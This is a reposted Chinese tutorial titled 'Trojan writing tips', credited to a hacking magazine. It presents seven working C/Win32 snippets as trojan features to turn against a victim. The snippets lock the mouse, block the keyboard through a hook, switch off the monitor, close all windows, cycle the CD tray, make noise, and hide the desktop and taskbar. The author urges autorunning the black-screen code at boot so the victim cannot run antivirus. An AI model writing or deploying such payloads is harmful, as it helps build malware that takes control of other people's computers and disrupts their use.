木马编写小技巧(转)

1.锁定鼠标:

这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序 [cpp] view plain copy  PRint? #include <stdio.h>   #include <windows.h>   int main(int argc, char* argv[])   {    printf("\n别害怕15妙后你的鼠标就可以使用了^_^\n");    RECT rect;    rect.bottom=1;    rect.right=1;     ClipCursor(&rect);    ::Sleep(15000);    ClipCursor(NULL);//释放    return 0;   }     注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处 rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域

2.锁定键盘:

锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了 [cpp] view plain copy  print? #include <stdio.h>   #include <windows.h>   //处理按键消息的过程函数   LRESULT CALLBACK keyproc( int code,       WPARAM wParam,       LPARAM lParam )   {       return 1;//返回1可使键盘停止响应   }    main(int argc, char* argv[])   {             SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安装键盘钩子       printf("\n\n\n程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作的哦\n");       ::Sleep(15000);   }     注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处 上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL),GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程序的结束钩子也就OVER了,所以我并没有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不一般了^_^.

3.关闭显视器

这个也是相当简单的看看代码: [cpp] view plain copy  print? #include <windows.h>         int APIENTRY WinMain(HINSTANCE hInstance,       HINSTANCE hPrevInstance,       LPSTR     lpCmdLine,       int       nCmdShow)   {       SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//关闭       ::Sleep(10000);       SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//打开             return 0;   }   要是你够毒的话可以让它自动运行,开机就黑屏,任你杀毒水平再高,没有显示器看你怎么杀…….嘿嘿

4.关闭所有窗口

原理是枚举所有窗口句柄,然后发送WM_CLOSE消息来关闭窗口,效果蛮好就差没重起 [cpp] view plain copy  print? #include <windows.h>   BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);   int APIENTRY WinMain(HINSTANCE hInstance,       HINSTANCE hPrevInstance,       LPSTR     lpCmdLine,       int       nCmdShow)   {       EnumWindows(EnumWindowsProc,0);//将窗口句柄传给回调函数处理       return 0;   }         BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回调函数   {       ::PostMessage(hwnd,WM_CLOSE,0,0);//结束窗口       return (true);//返回FALSE时EnumWindows结束   }   程序用EnumWindows()枚举所有窗口并把窗口句柄传给回调函数EnumWindowsProc,而回调函数的任务就是CLOSE!,呵呵

5.锁定光驱

其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱 [cpp] view plain copy  print? #include <mmsystem.h>//注意加入头文件   int APIENTRY WinMain(HINSTANCE hInstance,       HINSTANCE hPrevInstance,       LPSTR     lpCmdLine,       int       nCmdShow)   {       ::mciSendString("set cdaudio door open",NULL,0,NULL);//打开       ::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//关闭       return 0;   }   //注意在 工程-设置-LINK中加入库文件名winmm.lib 如果你弄个死循环,就可以让他的光驱好好活动活动了^_^

6.制造噪音

大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下以证明我们的存在 [cpp] view plain copy  print? #include<windows.h>   main()   {       for(int j=450;j<500;j++)       {           for(int i=1000;i<1110;i++)           {               Beep(i,30);               ::Sleep(100);           }       }         }   关键就是一个Beep()第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。

7.隐藏桌面

其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查找它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan任务栏类名为Shell_TrayWnd。  [cpp] view plain copy  print? #include <stdio.h>   #include <windows.h>   int main(int argc, char* argv[])   {       HWND disk,mask;       disk=FindWindow("ProgMan",NULL);       mask=FindWindow("Shell_TrayWnd",NULL);       ShowWindow(mask,SW_HIDE);//隐藏任务栏       ShowWindow(disk,SW_HIDE);//隐藏桌面       printf("\n15妙后会自动出现桌面 请等待.....\n");       Sleep(15000);       ShowWindow(mask,SW_SHOW);//显示       ShowWindow(disk,SW_SHOW);//显示       return 0;   }